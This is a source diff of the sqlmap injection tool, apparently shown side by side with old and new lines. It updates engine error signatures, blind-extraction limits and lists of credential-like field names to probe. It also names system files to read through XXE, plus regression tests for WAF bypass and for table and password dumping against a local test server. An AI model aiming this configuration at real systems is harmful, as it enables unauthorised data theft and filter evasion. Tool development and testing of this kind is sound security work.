("Spring EL / Thymeleaf", r"org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException"), ("Spring EL / Thymeleaf", r"org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException"),
("Struts2 (OGNL)", r"ognl\.(?:OgnlException|NoSuchPropertyException|MethodFailedException|InappropriateExpressionException|ExpressionSyntaxException)|com\.opensymphony\.xwork2|org\.apache\.struts2|There is no Action mapped for|Struts (?:Problem Report|has detected an unhandled exception)"), ("Struts2 (OGNL)", r"ognl\.(?:OgnlException|NoSuchPropertyException|MethodFailedException|InappropriateExpressionException|ExpressionSyntaxException)|com\.opensymphony\.xwork2|org\.apache\.struts2|There is no Action mapped for|Struts (?:Problem Report|has detected an unhandled exception)"),
("ERB", r"\(erb\):\d+|NameError.*undefined local variable"), ("ERB", r"\(erb\):\d+|NameError.*undefined local variable"),
("Pug/Jade", r"pug|jade|ParseError"), # NOTE: these must stay anchored to a diagnostic. The bare product names matched any page that
("Handlebars", r"handlebars|Handlebars|Parse error on line"), # carries the word 'pug'/'jade'/'handlebars' (a surname, a colour, a <script src=> of the runtime),
("Generic SSTI", r"template.*?(?:error|syntax|exception)"), # and the bare 'ParseError' matched lxml.etree.XSLTParseError and ElementTree.ParseError
("Pug/Jade", "\\.(?:pug|jade):\\d+|(?:Pug|Jade):\\d+|unexpected token \"(?:indent|outdent|start-attributes|interpolation|attrs)\""),
("Handlebars", r"handlebars[^\n]{0,60}?(?:error|exception)|Parse error on line \d+"),
# NOTE: 'template.*?error' matched any line holding both words, down to a CSS comment
("Generic SSTI", r"\bTemplate(?:Syntax|Render|Assertion|Parse)?(?:Error|Exception)\b|\btemplate[^\n]{0,40}?(?:syntax error|render error|parse error|error on line)|\b(?:syntax|parse) error in template\b"),
) )
SSTI_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in SSTI_ERROR_SIGNATURES) SSTI_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in SSTI_ERROR_SIGNATURES)
@@ -1208,12 +1356,17 @@ SSTI_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in SSTI_ERROR_SIG
XXE_ERROR_SIGNATURES = ( XXE_ERROR_SIGNATURES = (
("libxml2 (PHP/lxml)", r"(?:failed to load (?:external entity|\")|xmlParseEntityRef|Entity '[^']*' not defined|EntityRef: expecting|Detected an entity reference loop|String not started expecting|StartTag: invalid element name|Start tag expected|Extra content at the end of the document|Premature end of data|error parsing DTD|internal error: Huge input lookup)"), ("libxml2 (PHP/lxml)", r"(?:failed to load (?:external entity|\")|xmlParseEntityRef|Entity '[^']*' not defined|EntityRef: expecting|Detected an entity reference loop|String not started expecting|StartTag: invalid element name|Start tag expected|Extra content at the end of the document|Premature end of data|error parsing DTD|internal error: Huge input lookup)"),
("PHP simplexml/DOM", r"(?:simplexml_load_string\(\)|DOMDocument::load(?:XML)?\(\)|SimpleXMLElement::__construct\(\))"), ("PHP simplexml/DOM", r"(?:simplexml_load_string\(\)|DOMDocument::load(?:XML)?\(\)|SimpleXMLElement::__construct\(\))"),
("Java (Xerces/JAXP)", r"(?:org\.xml\.sax\.SAXParseException|com\.sun\.org\.apache\.xerces|javax\.xml\.stream\.XMLStreamException|The (?:entity|element type) \"[^\"]*\" was referenced|DOCTYPE is disallowed when the feature|External (?:DTD|parsed entities|Entity): failed|must be declared|had to be read but the maximum)"), # NOTE: 'must be declared' has to keep the quoted name in front of it. On its own it matched the
# "variable 'x' must be declared before it is used" of TypeScript and of every other compiler
("Java (Xerces/JAXP)", r"(?:org\.xml\.sax\.SAXParseException|com\.sun\.org\.apache\.xerces|javax\.xml\.stream\.XMLStreamException|The (?:entity|element type) \"[^\"]*\" was referenced|DOCTYPE is disallowed when the feature|External (?:DTD|parsed entities|Entity): failed|\"[^\"]*\" must be declared|had to be read but the maximum)"),
(".NET System.Xml", r"(?:System\.Xml\.XmlException|For security reasons DTD is prohibited|Reference to undeclared entity|An error occurred while parsing EntityName|XmlTextReaderImpl)"), (".NET System.Xml", r"(?:System\.Xml\.XmlException|For security reasons DTD is prohibited|Reference to undeclared entity|An error occurred while parsing EntityName|XmlTextReaderImpl)"),
("Python expat", r"(?:xml\.parsers\.expat\.ExpatError|undefined entity|not well-formed \(invalid token\)|ExpatError)"), ("Python expat", r"(?:xml\.parsers\.expat\.ExpatError|undefined entity|not well-formed \(invalid token\)|ExpatError)"),
("Ruby Nokogiri/REXML", r"(?:Nokogiri::XML::SyntaxError|REXML::ParseException|Entity .* not defined)"), ("Ruby Nokogiri/REXML", r"(?:Nokogiri::XML::SyntaxError|REXML::ParseException|Entity .* not defined)"),
("Go encoding/xml", r"XML syntax error on line \d+"), ("Go encoding/xml", r"XML syntax error on line \d+"),
("Generic XML", r"(?:XML (?:parsing|parse|syntax) error|malformed XML|unexpected (?:end of|<) )"), # NOTE: 'unexpected end of ...' is what every parser says, not what an XML parser says. It matched
# the "Unexpected end of query" of BaseX, the "Unexpected <EOF>" of GraphQL and the "Unexpected end
# of file" of Freemarker. libxml2 says "Premature end of data", which is covered above
("Generic XML", r"(?:XML (?:parsing|parse|syntax) error|malformed XML)"),
) )
XXE_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XXE_ERROR_SIGNATURES) XXE_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XXE_ERROR_SIGNATURES)
@@ -1257,8 +1410,11 @@ XXE_LOCATION_SWEEP_MAX = 12
# which is what distinguishes HQL injection from ordinary SQL injection. # which is what distinguishes HQL injection from ordinary SQL injection.
HQL_ERROR_SIGNATURES = ( HQL_ERROR_SIGNATURES = (
("Hibernate", r"org\.hibernate\.(?:query|hql|QueryException|exception\.SQLGrammarException)"), ("Hibernate", r"org\.hibernate\.(?:query|hql|QueryException|exception\.SQLGrammarException)"),
("Hibernate", r"(?:QuerySyntaxException|QueryException|SemanticException|PathElementException|UnknownEntityException|InterpretationException)"), # NOTE: a bare 'QueryException' belongs to org.basex.query too (an XQuery engine), and the bare
("Hibernate", r"(?:token recognition error at|unexpected (?:token|end of subtree|AST node)|Could not (?:resolve|interpret) (?:attribute|root entity|path|property)|line \d+:\d+ (?:no viable alternative|mismatched input|token recognition error))"), # ANTLR "line N:M ..." line is emitted by Cassandra and Trino as well. Both are dropped: the
# package-qualified fragment above already covers org.hibernate.QueryException
("Hibernate", r"(?:QuerySyntaxException|SemanticException|PathElementException|UnknownEntityException|InterpretationException)"),
("Hibernate", r"(?:unexpected (?:token:|end of subtree|AST node)|Could not (?:resolve|interpret) (?:attribute|root entity|path|property))"),
("EclipseLink / JPQL", r"(?:org\.eclipse\.persistence\.exceptions\.JPQLException|Exception \[EclipseLink|Problem compiling \[|An exception occurred while creating a query)"), ("EclipseLink / JPQL", r"(?:org\.eclipse\.persistence\.exceptions\.JPQLException|Exception \[EclipseLink|Problem compiling \[|An exception occurred while creating a query)"),
("JPA / JPQL", r"(?:javax|jakarta)\.persistence\.(?:PersistenceException|Query(?:Syntax|Timeout)?Exception)"), ("JPA / JPQL", r"(?:javax|jakarta)\.persistence\.(?:PersistenceException|Query(?:Syntax|Timeout)?Exception)"),
("Generic HQL/JPQL", r"(?:HQL|JPQL|EJBQL)\b.*?(?:error|exception|syntax|not (?:mapped|resolve))"), ("Generic HQL/JPQL", r"(?:HQL|JPQL|EJBQL)\b.*?(?:error|exception|syntax|not (?:mapped|resolve))"),
@@ -1266,6 +1422,13 @@ HQL_ERROR_SIGNATURES = (
HQL_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in HQL_ERROR_SIGNATURES) HQL_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in HQL_ERROR_SIGNATURES)
# The self-contained non-SQL technique switches, by conf option name (each is also its switch spelling,
# '--<name>'). Each is a whole scan for a different back-end class, so at most one may run: the target
# loop branches on them and the option validation rejects a pair. Kept in ONE place because it used to
# be spelled out at every site and had already drifted - '--jwt' was missing from the validation, which
# let '--jwt --nosql' through to run neither (conf.jwt also suppresses the passive JWT heuristic)
NONSQL_TECHNIQUES = ("graphql", "nosql", "ldap", "xpath", "ssti", "xxe", "xslt", "hql", "sparql", "odata", "jwt")
# Small, fast dictionary the always-on JWT heuristic tries against an HS* signature (the full # Small, fast dictionary the always-on JWT heuristic tries against an HS* signature (the full
# '--jwt' audit streams the shipped wordlist instead); these are the secrets seen over and over in # '--jwt' audit streams the shipped wordlist instead); these are the secrets seen over and over in
# tutorials, framework defaults and CTFs # tutorials, framework defaults and CTFs
@@ -1310,6 +1473,68 @@ HQL_COMMON_ENTITIES = (
"Message", "Group", "Session", "Token", "Application", "Setting", "Message", "Group", "Session", "Token", "Application", "Setting",
) )
# SPARQL injection ('--sparql'). Error signatures per triple-store for heuristic detection and
# fingerprinting, anchored to product-specific strings (not the bare "MalformedQueryException" /
# "Encountered" that several engines share) so they stay exclusive from the other non-SQL engines.
# Each tuple is (engine_name, regex_fragment).
SPARQL_ERROR_SIGNATURES = (
("Apache Jena / Fuseki", r"org\.apache\.jena|com\.hp\.hpl\.jena|Lexical error at line \d+, column \d+|\bQueryParseException\b"),
("Virtuoso", r"Virtuoso \d+ Error|SPARQL (?:compiler|query):|\bSP03\d\b"),
# NOTE 'MalformedQueryException' is the RDF4J/Sesame API type, which Blazegraph and Stardog raise
# too - matching on it alone mislabelled them as RDF4J, so only the package name is kept
("RDF4J / GraphDB", r"org\.eclipse\.rdf4j|org\.openrdf\.query"),
("Blazegraph", r"com\.bigdata\.rdf|\bBlazegraph\b"),
("rdflib", r"rdflib\.plugins\.sparql|\bParseException\b.*?(?:SPARQL|sparql)"),
("Stardog", r"com\.(?:complexible\.)?stardog"),
)
SPARQL_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in SPARQL_ERROR_SIGNATURES)
# Printable-ASCII codepoint bounds for the (lexicographic, binary-search) SPARQL blind character scan
SPARQL_CHAR_MIN = 0x20
SPARQL_CHAR_MAX = 0x7e
# Bounds on blind SPARQL extraction (each unit costs many requests, so keep them sane)
SPARQL_MAX_LENGTH = 1024 # an IRI or literal can be long
SPARQL_MAX_PREDICATES = 64 # distinct predicates enumerated from the default graph
SPARQL_MAX_RECORDS = 64 # triples dumped from the default graph
# OData injection ('--odata'). $filter parser error signatures per framework, anchored to product strings
# so they stay exclusive from the other non-SQL engines. Each tuple is (framework_name, regex_fragment).
ODATA_ERROR_SIGNATURES = (
("Microsoft OData (WebAPI/.NET)", r"Microsoft\.OData|Microsoft\.Data\.OData|The query specified in the URI is not valid|Could not find a property named|There is an unterminated string literal at position|Syntax error at position \d+ in"),
("Apache Olingo (Java)", r"org\.apache\.olingo|The URI is malformed|Invalid OData"),
("OData4j / other", r"\bodata4j\b|An error occurred while processing the OData request"),
)
ODATA_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in ODATA_ERROR_SIGNATURES)
# Printable-ASCII codepoint bounds for the OData blind character scan
ODATA_CHAR_MIN = 0x20
ODATA_CHAR_MAX = 0x7e
# Candidate characters per set-membership probe on a service without the v4.01 'in' operator, where a
# set has to be spelled as a disjunction of equalities. Each term costs the parser ~8 of the 100 nodes
# ASP.NET Core OData allows by default (MaxNodeCount), measured to reject at 11 terms - so this leaves
# headroom for a longer key/property name in the same filter
ODATA_CHARSET_BLOCK = 8
ODATA_MAX_LENGTH = 256 # a single property value
ODATA_MAX_RECORDS = 20 # entities blind-dumped
ODATA_MAX_KEY = 100000 # upper bound when bisecting for the lowest existing numeric key
# Candidate key properties probed to pin an entity for row-by-row extraction (real-world frequency order)
ODATA_KEY_CANDIDATES = ("Id", "ID", "Key", "Oid", "Guid", "Uuid", "Code", "No", "Number")
# Common string property names enumerated once injection is confirmed (an unknown property makes the
# whole $filter error, so existence is a clean null-probe oracle). Ordered by real-world frequency.
ODATA_COMMON_FIELDS = (
"Name", "Title", "Description", "Username", "UserName", "User", "Login", "Email", "Mail",
"Password", "Passwd", "Secret", "Token", "ApiKey", "Key", "Role", "FirstName", "LastName",
"FullName", "Phone", "Address", "City", "Country", "Status", "Type", "Code", "Hash", "Salt",
"Note", "Comment", "Value", "Content", "Data", "Owner", "Category", "Product", "Company",
)
XXE_IMPACT_FILES = ( XXE_IMPACT_FILES = (
("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # anchored, high-signal ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # anchored, high-signal
("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"), ("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"),
@@ -1408,7 +1633,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
CHECK_ZERO_COLUMNS_THRESHOLD = 10 CHECK_ZERO_COLUMNS_THRESHOLD = 10
# Boldify all logger messages containing these "patterns" # Boldify all logger messages containing these "patterns"
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ", "will be trimmed", "counterpart to database") BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ", "will be trimmed", "counterpart to database", "several characters")
# Regular expression used to search for bold-patterns # Regular expression used to search for bold-patterns
BOLD_PATTERNS_REGEX = '|'.join(BOLD_PATTERNS) BOLD_PATTERNS_REGEX = '|'.join(BOLD_PATTERNS)
@@ -1488,6 +1713,24 @@ PLAIN_TEXT_CONTENT_TYPE = "text/plain; charset=utf-8"
# Length used while checking for existence of Suhosin-patch (like) protection mechanism # Length used while checking for existence of Suhosin-patch (like) protection mechanism
SUHOSIN_MAX_VALUE_LENGTH = 512 SUHOSIN_MAX_VALUE_LENGTH = 512
# Multi-bit blind inference ("row multiplexing"): one rendered row carries one bit, so a single
# response yields whole characters instead of a single boolean. Used on demand ('--multi-bit', which
# widens the result set with OR) and proves every value back against the target before returning it.
MAX_MULTIBIT_LENGTH = 8192 # hard ceiling when the value length is unknown (anti-runaway)
MAX_MULTIBIT_PAGE = 1048576 # response bytes parsed for repeated row markup (larger pages are truncated)
MULTIBIT_BITS_PER_CHAR = 8 # one whole byte per character, one row per bit
MULTIBIT_PLANES = 7 # bit planes used to map rows in bulk (i.e. a window of 2**7 identifiers)
MULTIBIT_CANDIDATE_COLUMNS = 3 # row identifier candidates tried before giving up on a parameter
MULTIBIT_SAMPLES = 3 # repeats used to separate stable row markers from per-response junk
MULTIBIT_CALIBRATION_ROUNDS = 5 # random subsets checked before superposition is trusted
MULTIBIT_CONFIRM_CHUNK = 64 # characters proven back per confirmation request
MULTIBIT_MAX_FAILURES = 3 # unconfirmed values in a row before the channel is abandoned
MULTIBIT_MAX_PLANES = 12 # planes used to place the page's own (not necessarily consecutive) rows
MULTIBIT_MIN_BITS = 2 # bits per request below which there is nothing to gain
MULTIBIT_NARROW = "narrow" # AND-ed onto the live value: the page's own rows, any risk level
MULTIBIT_WIDEN = "widen" # OR-ed against a negated one: the whole table, asked for below its risk
MULTIBIT_WIDEN_RISK = 3 # risk the widen channel amounts to (OR payloads, boolean_blind.xml)
# Minimum size of an (binary) entry before it can be considered for dumping to disk # Minimum size of an (binary) entry before it can be considered for dumping to disk
MIN_BINARY_DISK_DUMP_SIZE = 100 MIN_BINARY_DISK_DUMP_SIZE = 100
@@ -1536,8 +1779,8 @@ BRUTE_DOC_ROOT_TARGET_MARK = "%TARGET%"
# Character used as a boundary in kb.chars (preferably less frequent letter) # Character used as a boundary in kb.chars (preferably less frequent letter)
KB_CHARS_BOUNDARY_CHAR = 'q' KB_CHARS_BOUNDARY_CHAR = 'q'
# Letters of lower frequency used in kb.chars # Letters of lower frequency used in kb.chars (NOTE: without the boundary character itself, so that no marker can contain a shorter one)
KB_CHARS_LOW_FREQUENCY_ALPHABET = "zqxjkvbp" KB_CHARS_LOW_FREQUENCY_ALPHABET = "zxjkvbp"
# Printable bytes # Printable bytes
PRINTABLE_BYTES = set(bytes(string.printable, "ascii") if six.PY3 else string.printable) PRINTABLE_BYTES = set(bytes(string.printable, "ascii") if six.PY3 else string.printable)
@@ -1571,7 +1814,15 @@ th{
} }
</style>""" </style>"""
# Leaving (dirty) possibility to change values from here (e.g. `export SQLMAP__MAX_NUMBER_OF_THREADS=20`) # Leaving (dirty) possibility to change values from here (e.g. `export SQLMAP__MAX_NUMBER_OF_THREADS=20`).
#
# NOTE the SECOND underscore is deliberate and must stay. sqlmap scans os.environ TWICE, for two
# different things: this loop binds settings CONSTANTS at import, while `_mergeOptions` (option.py)
# binds conf OPTIONS at boot, matching `SQLMAP_<OPTION>` against optDict - that is how `SQLMAP_DBMS=mysql`
# acts as '--dbms=mysql'. The extra underscore is what keeps the two from reading each other's variables,
# and they really would collide: `DBMS` and `OS` name both a conf option and a global bound here (the
# enum classes), so on a single underscore `SQLMAP_DBMS=mysql` would set '--dbms' AND rebind the DBMS
# enum class to the string "mysql". So: `SQLMAP_<option>` sets an option, `SQLMAP__<CONSTANT>` a constant.
for key, value in os.environ.items(): for key, value in os.environ.items():
if key.upper().startswith("%s_" % SQLMAP_ENVIRONMENT_PREFIX): if key.upper().startswith("%s_" % SQLMAP_ENVIRONMENT_PREFIX):
_ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper() _ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper()
@@ -1591,5 +1842,8 @@ for key, value in os.environ.items():
pass pass
elif isinstance(original, (list, tuple)): elif isinstance(original, (list, tuple)):
globals()[_] = [__.strip() for __ in value.split(',')] globals()[_] = [__.strip() for __ in value.split(',')]
else: elif isinstance(original, six.string_types):
globals()[_] = value globals()[_] = value
# anything else (dict, frozenset, enum class, compiled regex) is left alone: a raw string is
# not a usable substitute for one, and swapping it in fails far from here and silently - a
# frozenset turned into a string still answers `in`, just by substring
+19 -11
View File
@@ -65,7 +65,7 @@ def vulnTest(tests=None, label="vuln"):
("-u <url> --data=\"security_level=3\" -p id --flush-session --technique=B", ("bypassed the WAF/IPS by using tamper script", "Type: boolean-based blind")), # automatic WAF-bypass: SQL-tamper dimension at a stricter signature threshold ("-u <url> --data=\"security_level=3\" -p id --flush-session --technique=B", ("bypassed the WAF/IPS by using tamper script", "Type: boolean-based blind")), # automatic WAF-bypass: SQL-tamper dimension at a stricter signature threshold
("-u <url> --data=\"security_level=4\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass against a libinjection-class WAF: tampers cannot help, only the non-scanner User-Agent does ("-u <url> --data=\"security_level=4\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass against a libinjection-class WAF: tampers cannot help, only the non-scanner User-Agent does
("-u <url> --data=\"security_level=5\" -p id --flush-session --technique=B", ("unable to automatically bypass the WAF/IPS", "does not seem to be injectable")), # automatic WAF-bypass honest bail: a libinjection-class WAF that no User-Agent or tamper can defeat ("-u <url> --data=\"security_level=5\" -p id --flush-session --technique=B", ("unable to automatically bypass the WAF/IPS", "does not seem to be injectable")), # automatic WAF-bypass honest bail: a libinjection-class WAF that no User-Agent or tamper can defeat
("-u <url> -p id --flush-session --technique=B --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof ("-u <url> -p id --flush-session --technique=B --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "drawn at random after the scan started", "boolean-based blind:", "PASS confirmed", "Read-back: back-end DBMS banner", "TRUE (", "5/5", "separated by:", "PROVEN - the back-end executed injected SQL")), # --proof: every claim is an experiment with a control - an unpredictable product the back-end must compute (per technique), a real datum read back, and the TRUE/FALSE differential with its wire facts
("-u <base> --mine-params --flush-session --technique=B", ("mining for hidden GET parameters", "found hidden parameter 'id'", "held back parameter(s) that break the base request", "Parameter: id (GET)", "Type: boolean-based blind")), # --mine-params: discover an injectable parameter absent from a bare URL, hold back the raw-SQL sink that would shadow it, then confirm the injection on the mined 'id' ("-u <base> --mine-params --flush-session --technique=B", ("mining for hidden GET parameters", "found hidden parameter 'id'", "held back parameter(s) that break the base request", "Parameter: id (GET)", "Type: boolean-based blind")), # --mine-params: discover an injectable parameter absent from a bare URL, hold back the raw-SQL sink that would shadow it, then confirm the injection on the mined 'id'
("-u \"<base>ratelimit?id=1\" --flush-session --technique=B", ("target appears to be rate-limiting", "Parameter: id (GET)", "Type: boolean-based blind")), # adaptive rate-limit handling: the endpoint answers 429 with 'Retry-After' first, so detection only succeeds if sqlmap honors the backoff, throttles, and retries rather than treating 429 as a hard block ("-u \"<base>ratelimit?id=1\" --flush-session --technique=B", ("target appears to be rate-limiting", "Parameter: id (GET)", "Type: boolean-based blind")), # adaptive rate-limit handling: the endpoint answers 429 with 'Retry-After' first, so detection only succeeds if sqlmap honors the backoff, throttles, and retries rather than treating 429 as a hard block
("-r <request> --flush-session -v 5 --test-skip=\"heavy\" --save=<config>", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")), ("-r <request> --flush-session -v 5 --test-skip=\"heavy\" --save=<config>", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")),
@@ -77,16 +77,16 @@ def vulnTest(tests=None, label="vuln"):
("-u <base64> -p id --base64=id --data=\"base64=true\" --flush-session --tables --technique=U", (" users ",)), ("-u <base64> -p id --base64=id --data=\"base64=true\" --flush-session --tables --technique=U", (" users ",)),
("-u <url> --flush-session --banner --technique=B --disable-precon --not-string \"no results\"", ("banner: '3.",)), ("-u <url> --flush-session --banner --technique=B --disable-precon --not-string \"no results\"", ("banner: '3.",)),
("-u <url> --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2", ("banner: '3.'",)), ("-u <url> --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
("-u <url> --flush-session --technique=BU --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")), ("-u <url> --flush-session --technique=BU --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be SQL injectable", "Type: UNION query", "banner: '3.")),
("-u <base> --flush-session --technique=BU --data=\"{\\\"id\\\": 1}\" --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: UNION query", "banner: '3.")), ("-u <base> --flush-session --technique=BU --data=\"{\\\"id\\\": 1}\" --banner", ("might be SQL injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: UNION query", "banner: '3.")),
("-u <base> --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"<root><param name=\\\"id\\\" value=\\\"1*\\\"/></root>\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")), ("-u <base> --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"<root><param name=\\\"id\\\" value=\\\"1*\\\"/></root>\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be SQL injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
("-u <base> --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har=<tmpfile> --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")), ("-u <base> --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har=<tmpfile> --dump -T users --start=1 --stop=2", ("might be SQL injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")),
("-u <url> --flush-session -H \"id: 1*\" --tables -t <tmpfile>", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), ("-u <url> --flush-session -H \"id: 1*\" --tables -t <tmpfile>", ("might be SQL injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
("-u <url> --flush-session --banner --invalid-logical --technique=B --titles --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")), ("-u <url> --flush-session --banner --invalid-logical --technique=B --titles --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")),
("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), ("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be SQL injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 30")), ("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 30")),
("-u <base> --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)), ("-u <base> --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)),
("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")), ("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be SQL injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
("-u <url> --technique=BU --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")), ("-u <url> --technique=BU --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")),
("-u <url> --technique=U --fresh-queries --force-partial --disable-json --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("LIMIT 0,1)", "nameisnull", "~using default dictionary", "dumped to HTML file")), ("-u <url> --technique=U --fresh-queries --force-partial --disable-json --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("LIMIT 0,1)", "nameisnull", "~using default dictionary", "dumped to HTML file")),
("-u <url> --flush-session --technique=BU --all", ("30 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), ("-u <url> --flush-session --technique=BU --all", ("30 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
@@ -96,9 +96,17 @@ def vulnTest(tests=None, label="vuln"):
("-u \"<base>nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction ("-u \"<base>nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction
